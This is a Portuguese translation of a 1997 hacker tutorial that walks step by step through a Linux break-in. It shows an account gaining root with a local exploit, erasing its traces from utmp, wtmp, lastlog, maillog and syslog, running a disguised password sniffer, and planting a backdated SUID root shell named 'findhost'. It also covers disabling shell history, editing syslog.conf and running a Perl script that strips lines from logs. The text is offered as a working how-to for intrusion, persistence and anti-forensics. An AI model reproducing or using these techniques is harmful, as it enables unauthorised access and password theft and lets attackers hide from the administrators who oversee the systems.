Limpar os log files:
------------------------------

traduzido por VectorX
IN: Hacking Kit v2.0.b March/97
BY: Invisible Evil

Uma volta pelo sistem hackado/ O ke fazer depois de hackar/ganhar root no sistema?

Não posso deixar de referir a importância que é a de limpar os logs, para assim não ser possivel detectar a vossa presença no sistema. Vamos agora realizar uma "visita guiada" por um sistema "hackado" e demonstrar o que devem fazer e o que devem procurar para limpar a vossa presença do sistema. Para começar vamos fazer o login num sistema :

Segue-se uma explicação passo-a-passo de todo o processo:

******----> ver quem está na maquina

[/home/master]finger @victim.net
[victim.net]
No one logged on.
******----> de momento não se encontra ninguem, nesse caso podemos entrar em segurança
[/home/master]telnet victim.net

Trying xxx.206.xx.140...
Connected to victim.net.
Escape character is '^]'.

Welcome to Victim Research Linux (http://www.victim.net) Red Hat 4.2
Kernel 2.0.30 on a i586


ns.victim.net login: jnsmith
Password:
Linux 2.0.30.
You have new mail.
******----> Não leias o mail do user, se quiseres podes ver todo o mail através do comando : cat /var/spool/mail e também em /home/username/mail .

******----> Voltamos a ver se está mais alguem no sistema (comando w(ho) )

[jnsmith@ns jnsmith]$ w

5:36am  up 18 days,  8:23,  1 user,  load average: 0.01, 0.00, 0.00
User      tty       login@  idle   JCPU   PCPU  what
jnsmith   ttyp1     5:35am                      w
******----> Só estou cá eu, nesse caso vamos ganhar root e limpar a nossa presença do log file : utmp
[jnsmith@ns jnsmith]$ cd .term
******----> Esta dir já tinha sido préviamente criada (.term é um bom nome para uma dir onde queiras esconder cenas)
[jnsmith@ns .term]$ ./.u
******----> Já tinha isto à minha espera : é o exploit mount/umount (mount.c)

Este bug foi descoberto e programado pelo Bloodmask e pelo Vio em 1996 ******----> Agora que já ganhámos root vamos usar o z2 (zap2) para nos tornarmos "invisíveis"

bash# z2 jnsmith
Zap2!
******----> Vamos ver se ainda estamos no sistema...
bash# w
5:37am  up 18 days,  8:24,  0 users,  load average: 0.08, 0.02, 0.01
User     tty       login@  idle   JCPU   PCPU  what
******----> Hmmm... interessante, agora não está ninguem no sitema. Bem... devo ter saido do sistema ;)

******----> Já sabemos que somos root no sistema, mas mesmo assim vamos confirmar :

bash# whoami
root
bash#
******----> Yeps, somos root... Em que directoria é que estamos?
bash# pwd
/home/jnsmith/.term
******----> Agora vamos verificar os logs do sistema
bash# cd /var/log
******----> maior parte das vezes estão em /var/adm, mas neste caso estão em /var/log
bash# grep dormroom *
maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com
******----> Yaps, o z2 (zap2) limpou tudo menos este maillog ...
bash# pico maillog
******----> no pico eu fiz ctrl w, e procurei por "dormroom" e depois fiz ctrl k para apagar as linhas não desejadas.

******----> Estas foram as linhas apagadas :

Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com

bash# grep dormroom *
******----> Yep, está tudo limpo
bash# w
5:41am  up 18 days,  8:27,  0 users,  load average: 0.00, 0.00, 0.00
User     tty       login@  idle   JCPU   PCPU  what
******----> Yep .. aqui também está tudo limpo ;)

******----> Agora vamos mostrar-vos como é que iriam usar o "lled" e o "wted" se por acaso quando fizemos "grep", tivesse surgido mais qualquer coisa nesses files.


bash# cd ~jnsmith/.term
bash# lled
bash# lled -c dormroom.playhouse
Entries stored: 527 Entries removed: 0
Agora façam 'chmod lastlog.tmp' e copiem para cima do file original em /var/log/lastlog ******----> Nada no lastlog ...
bash#
bash# wted -e jnsmith
Entries stored: 254 Entries removed: 0
Now chmod wtmp.tmp and copy over the original /var/log/wtmp
******----> Nada no wtmp, ambos estes files teriam surgido no "grep" nós só o executámos em /var/log (só para mostrar os comandos)

******----> Que tal por um sniffer a correr?

bash# pico linsniffer.c
******----> Eu alterei esta linha para definir a localização do log do sniffer :
#define TCPLOG "/tmp/.pinetemp.000"
******----> vamos ver que processos é que estão a correr para atribuirmos ao sniffer um nome que se assemelhe a algo que esteja a correr.
bash# ps -aux

root       143  0.0  0.0   84    0  ?  SW  Jan 10   0:01 (lpd)
root       154  0.0  0.0  118    0  ?  SW  Jan 10   0:00 (smbd)
root       163  0.0  0.5   76  176  ?  S   Jan 10   0:00 nmbd -D
root       197  0.0  0.0   76    0 v03 SW  Jan 10   0:00 (getty)
root       198  0.0  0.0   76    0 v04 SW  Jan 10   0:00 (getty)
root       199  0.0  0.0   76    0 v05 SW  Jan 10   0:00 (getty)
root       200  0.0  0.0   76    0 v06 SW  Jan 10   0:00 (getty)
root       201  0.0  0.0   88    0 s00 SW  Jan 10   0:00 (uugetty)
root       209  0.0  0.2   35   76  ?  S   Jan 10   0:01 (update)
root       210  0.0  0.3   35  124  ?  S   Jan 10   0:03 update (bdflush)
root     10709  0.0  1.4  152  452  ?  S   Jan 27   0:10 httpd
root     11111  0.0  1.4  152  452  ?  S   Jan 27   0:07 httpd
root     14153  0.0  0.8   70  268  ?  S   Jan 16   0:03 ./inetd
root     14307  0.0  4.7 1142 1484  ?  S   Jan 16   1:16 ./named
root     14365  0.0  0.0   76    0 v02 SW  Jan 16   0:00 (getty)
root     17367  0.0  1.4  152  452  ?  S    11:01   0:02 httpd
******----> vamos compila-lo e dar-lhe o nome de nmb
bash# gcc linsniffer.c -o nmb
******----> vamos executá-lo
bash# nmb&
[1] 22171
******----> vamos verificar o log file em /tmp
bash#
bash# cd /tmp
bash# ls -al .pin*
total 15691
-rw-rw-r--   1 root     jnsmith          0 Jan 29 05:50 .pinetemp.000
******----> Ali está ele. No entanto nós não queremos que o user da account que estamos a utilizar saiba nem da existência nem do contéudo deste file, então fazemos :
bash# chgrp root .pin*
******----> Vamos ver agora ...
bash# ls -al .pin*
-rw-rw-r--   1 root     root            0 Jan 29 05:50 .pinttemp.000
bash#
******----> Óptimo, agora vamos criar uma SUID shell para não termos que voltar a fazer isto.
bash# cd /bin
bash# ls -l sh
lrwxrwxrwx   1 root     root            4 Mar  1  1996 sh -> bash
******----> É apenas um sym link e não o file que nos interessa ...
bash# ls -l bash
-rwxr-xr-x   1 root     root       299296 Nov  2  1995 bash
******----> aqui está o verdadeiro file (o que nos interessa pra criarmos a tal shell). Vamos pensar num nome para lhe atribuirmos, de forma a que pareca que o file pareça pertencente a esta dir :
bash# ls
arch           df             ksh            ping           tar
ash            dmesg          ln             ps             tcsh
bash           dnsdomainname  login          pwd            true
cat            domainname     ls             red            ttysnoops
chgrp          echo           mail           rm             umount
chmod          ed             mkdir          rmdir          uname
chown          false          mknod          sed            vi
cp             findterm       more           setserial      view
cpio           gunzip         mount          sh             vim
csh            gzip           mt             stty           zcat
date           hostname       mv             su             zsh
dd             kill           netstat        sync
******----> Que tal criarmos um novo comando para Linux? Maior parte dos admins nem vão dar pela diferença ... Vamos atribuir-lhe o nome de "findhost" (Não te aconselho a utilizar este nome por razões obvias...)
bash# cp bash findhost
******----> ok, agora vamos lá ver o que é que o novo comando faz ... ;)
bash# ls -l findhost
-rwxr-xr-x   1 root     jnsmith     299296 Jan 29 05:59 findhost
******----> Hmmm, temos que mudar o grupo (chgrp), e alterar a data e a hora do file através do comando 'touch' e torná-lo SUID root (para que não haja suspeitas quanto ao file).
bash# chgrp root findhost
bash# ls -l findhost
-rwxr-xr-x   1 root     root       299296 Jan 29 05:59 findhost

bash# chmod +s findhost
bash# ls -l findhost
-rwsr-sr-x   1 root     root       299296 Jan 29 05:59 findhost

bash# touch -t 111312331995 findhost
bash# ls -l findhost
-rwsr-sr-x   1 root     root       299296 Nov 13  1995 findhost

bash# ls -l m*
-rwxr-xr-x   1 root     root        64400 Oct 31  1995 mail
-rwxr-xr-x   1 root     root         7689 Nov  2  1995 mkdir
-rwxr-xr-x   1 root     root         7001 Nov  2  1995 mknod
-rwxr-xr-x   1 root     root        20272 Nov  1  1995 more
-rwsr-xr-x   1 root     root        26192 Nov  1  1995 mount
-rwxr-xr-x   1 root     root         8381 Oct 31  1995 mt
-rwxr-xr-x   1 root     root        12753 Nov  2  1995 mv
******----> Agora sim, parece mesmo que pertence a esta dir Vamos agora confirmar se este "comando" faz exactamente aquilo que pretendiamos, ou seja dar-nos root. Para tal, em primeiro lugar saimos da shell em que estamos :
bash# exit

[jnsmith@ns .term]$ cd /bin
[jnsmith@ns /bin]$ whoami
jnsmith
[jnsmith@ns /bin]$ findhost
[jnsmith@ns /bin]# whoami
root
******----> Optimo, o nosso comando funciona ;)
[jnsmith@ns /bin]# cd
******----> cd {enter} leva-nos de volta para a nossa home dir
[jnsmith@ns jnsmith]# ls
mail
[jnsmith@ns jnsmith]# echo + +>test
[jnsmith@ns jnsmith]# ls -l
total 2
drwx------   2 jnsmith   jnsmith       1024 Jan 11 22:47 mail
-rw-rw-r--   1 root      root            4 Jan 29 06:11 test
******----> Agora temos uid=0 e gid=0
[jnsmith@ns jnsmith]# rm test
******----> por enquanto tudo bem .....
[jnsmith@ns jnsmith]# w
6:12am  up 18 days,  8:58,  0 users,  load average: 0.07, 0.02, 0.00
User     tty       login@  idle   JCPU   PCPU  what
******----> Só para ter a certeza de que ainda estamos sozinhos ....
[jnsmith@ns jnsmith]# ls -al /tmp/.p*
total 15692
-rw-rw-r--   1 root     root          157 Jan 29 06:10 .pinttemp.000
******----> já estamos a "apanhar" passwords ;)
[jnsmith@ns jnsmith]# ls -al
total 32
drwxrwx---   5 jnsmith   jnsmith   1024 Jan 29 06:11 .
drwxr-xr-x  33 root      users     1024 Jan 22 16:53 ..
-rw-r-----   1 jnsmith   jnsmith   1126 Aug 23  1995 .Xdefaults
lrwxrwxrwx   1 jnsmith   jnsmith      9 Jan  1 21:40 .bash_history -> /dev/null 
                                                             <- Atenção a isto
-rw-r--r--   1 root      jnsmith     24 Jan  1 03:12 .bash_logout
-rw-r--r--   1 root      jnsmith    220 Jan  1 03:12 .bash_profile
-rw-r--r--   1 root      jnsmith    124 Jan  1 03:12 .bashrc
-rw-rw-r--   1 root      jnsmith   5433 Jan 11 22:47 .pinerc
drwxrwxr-x   2 jnsmith   jnsmith   1024 Jan 29 06:22 .term
drwxr-x---   2 jnsmith   jnsmith   1024 Feb 17  1996 .xfm
drwx------   2 jnsmith   jnsmith   1024 Jan 11 22:47 mail
[jnsmith@ns jnsmith]#
******----> Façam um sym link de .bash_history para /dev/null para que não deixem o history dos vossos comandos. Este é o comando para fazê-lo, mas confirmem que apagaram o antigo .bash_history se ele lá estiver.
ln -s /dev/null .bash_history
Ok, agora fazemos logout ... Ainda existe outra forma de nos vermos livres do .bash_history.

Se te lembrares sempre disto e practicares bastante de forma a NUNCA te esqueceres, faz o seguinte :

SEMPRE que faças login no sistema escreve : unset HISTFILE

Isto faz com que o .bash_history seja apagado sempre que sais do sistema. Se usares este método NUNCA te esquecas de fazer o que se disse!

messages & syslog

Na directoria dos logs, vão encontrar um file chamado 'messages'. Cada sistema é differente no que se refere ao tipo do informação que é logada e para que file(s), é que essa informação vai. Não te esqueças de procurar no /etc/syslog.conf informação referente a sistemas remotos. Se o sistema estiver a logar essa informação vais ver algo semelhante a :

*.*                                 @somehostname.xxx
Podes também simplesmente ver neste file (/etc/syslog.conf) onde se encontram outros logfiles.

Aqui está um exemplo...

bash# more syslog.conf
# /etc/syslog.conf
# For info about the format of this file, see "man syslog.conf" (the BSD man
# page), and /usr/doc/sysklogd/README.linux.
#
# NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.
# I don't know why.
#

*.=info;*.=notice                               /var/adm/messages
*.=debug                                        /var/adm/debug
*.warn                                          /var/adm/syslog
*.warn                                          /root/.../syslog
*.=crit;kern.none                               /var/adm/critical
kern.info;kern.!err                             /var/adm/kernel-info
mail.*;mail.!=info                              /root/.../mail
mail,news.=info                                 /root/.../info
mail.*;mail.!=info                              /var/adm/mail
mail,news.=info                                 /var/adm/info
*.alert                                         root,bob
*.=info;*.=notice                               @quality.com
*.=debug                                        @quality.com
*.warn                                          @quality.com
*.=crit;kern.none                               @quality.com
kern.info;kern.!err                             @quality.com
mail.*;mail.!=info                              @quality.com
mail,news.=info                                 @quality.com
Neste caso, alguns dos logs estão em directorias escondidas (/root/.../syslog) localizadas na dir /root, e uma cópia de todos os alertas e avisos do sistema estão também a ser enviados para o host 'quality.com'. O 'wtmp', 'utmp' e o 'lastlog' neste caso são locais, por isso não há grande problema. No entanto não uses o comando 'su' num sistema deste tipo (logs para host remoto). Repara também que neste caso os avisos e alertas do sistema estão a ser enviados por mail ao root e ao user 'bob'.

Repara também que o 'syslog', 'mail', e 'info' estão a ser enviados para a dir /var/adm para nos levar a pensar que todos os logs estão em /var/adm ! Assim, se editares algo em /var/adm o admin do sistema pode correr um 'diff' nos backup files na /root dir.

Ok, vais então à dir /var/adm ou a /var/log e fazes:

grep o_teu_host * |more
grep o_teu_ip * |more
podes assim ver que alguns files estão a logar a tua ligação. Toma nota desses files e edita o file /etc/syslog.conf. Irás assim através de tentativa-e-erro fazer com que (na maior parte dos casos) fazer com que o log do teu domain não se realize.
No entanto deves prestar atenção ao seguinte : Depois de editares o file (/etc/syslog.conf) tens de reinicializar o 'syslogd'. Podes fazê-lo através do comando 'ps -x' :
$root> ps -x

39  ?  S    1:29 /usr/sbin/syslogd
procura o 'syslogd' na listagem de processos que vai aparecer e toma nota do process id (pid) do 'syslogd'. Neste caso o pid era o 39. Fazemos entao :
kill -HUP 39
Isto fará com que o processo seja reinicializado passando assim as nossas alterações a fazer efeito.

Outra coisa de que NÃO te podes esquecer é de fazer 'ls -l /etc/syslog.conf' ANTES de editares esse file e tomar nota da informação relativa à data e hora do file. Deves então (depois de editares o file) usar o comando 'touch' para que o file volte a ter a date e hora originais. Desta forma se o(s) admin(s) repararem que o log está diferente vão quase de certeza verificar a data e hora do file. Ao verem que não sofreram alteraçõs, vão pensar que se tratou de outra coisa qualquer. Maior parte dos admins nem sequer sabem configurar este files para que funcione correctamente, por isso em grande parte dos casos não há qualquer problema em editá-los.

Aqui está outro file a que deves prestar atenção :

/etc/login.defs

# Enable "syslog" logging of su activity - in addition to sulog file logging
# SYSLOG_SG_ENAB does the same for newgrp and sg.
#
SYSLOG_SU_ENAB          yes
SYSLOG_SG_ENAB          yes

#
# If defined, all su activity is logged to this file
#
SULOG_FILE      /home/users/bob/.list
Repara que há um log file referente ao uso do comando 'su' (SULOG_FILE) que se encontra escondido na homedir de um dos admins do sistema.

xferlog

O 'xferlog' pode ser editado com qualquer editor de texto (pico, joe, vi, etc). Podes então procurar neste log file por transferencias de files que possas ter feito (por exemplo para enviares para o sistema o zap2). Deves então fazê-lo SEMPRE que acabes de transferir algum file para o sistema.

Deves também usar o comando 'grep' nos files que se encontram na dir /usr/local/etc/httpd/log caso tenhas utilizado a web ou o phf neste sistema, de forma a que a tua presença seja assim eliminada desses files. Deves fazê-lo da seguinte forma :

grep (username or hostname) * |more

Se tiveres que procurar os logs do httpd podes fazê-lo através do comando 'find -name httpd.conf -print' e toma nota da localização dos logfiles do httpd.

Podem existir diferentes logs para as transferencias por ftp algures numa dir de ftp ou virtual ftp. Vê os files em /etc/ftp* para descobrires que configuração para o ftp é utilizada neste sistema (e logo descobrires a localizaçao dos log files).

Tudo o que aqui foi dito relativamente a editar log files teve em conta que estás a utilizar editores de texto como o pico, o joe ou qualquer outro do mesmo tipo.
Por vezes podes dar de caras com um log file muito grande e o editor que estás a usar, pode nao ter capacidade para abrir todo o file. Nestes casos é mais simples, rapido e práctico utilizares um outro método :

Imagina que encontras-te um log file de 20 mb ... wow! e agora?

Imagina agora que querias retirar deste logfile todas as linhas que continham 'fudge.candy.com'. Fazias assim :

grep -v fudge.candy >messages.2
rm messages
mv messages2 messages
depois faz um 'kill -HUP '
o '-v' serve para retirar tudo o que NÃO é qeuivalente á linha que queres. Desta forma estás a passar tudo o que deve ficar no file para um novo file (neste caso messages.2). Ficas-te então com 2 files, o messages que agora contém apenas a informação que tu queres limpar e o messages.2 que contém a restante informação que não te diz respeito e logo deves mante-la no sistema. De seguida apagas o messages e fazes rename do messages.2 para messages. Limpas-te assim do log file a informação que não te era conveniente manter ;)

Isto aplica-se a qualquer logfile...

Aqui está um script para Perl que faz o que se disse acima por ti :

------------------- start of riptext.pl
#!/usr/bin/perl
#
# RipText - Takes regular expression and filename argument from @ARGV. Any 
#           lines MATCHING regular expression will *not* be printed to 
#           STDOUT. 
# 
#

die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0]));
($regexp, $filename) = @ARGV[0,1];
# Read in contents of file.
$/ = undef;
$contents="";
if (!defined($filename)) {
  # Use STDIN.
  $contents = scalar ;
} else {
  # Use FILE.
  open(FILE, "<$filename") || die("-RipText- Cannot open $filename: $!\n");
  $contents = scalar ;
  close(FILE);
}

@contents = split(/\n/, $contents);

# Strip file of matching lines.
open(FILE, ">$filename") || die("-RipText- Cannot write $filename: $!\n");
foreach (@contents) {
  print FILE "$_\n" unless (/$regexp/i);
}
close(FILE);

0;

------------------------ end of riptext.pl
Nunca te esqueças de reinicializar o 'syslogd' depois de editares os logs, pois ainda é possivel recuperar a informação que tu acabas-te de alterar (pois ela ainda está em memoria) até tu reinicializares o processo!

Deves também editar o 'syslog' e retirar a informação relacionada com o "restart" do 'syslogd'.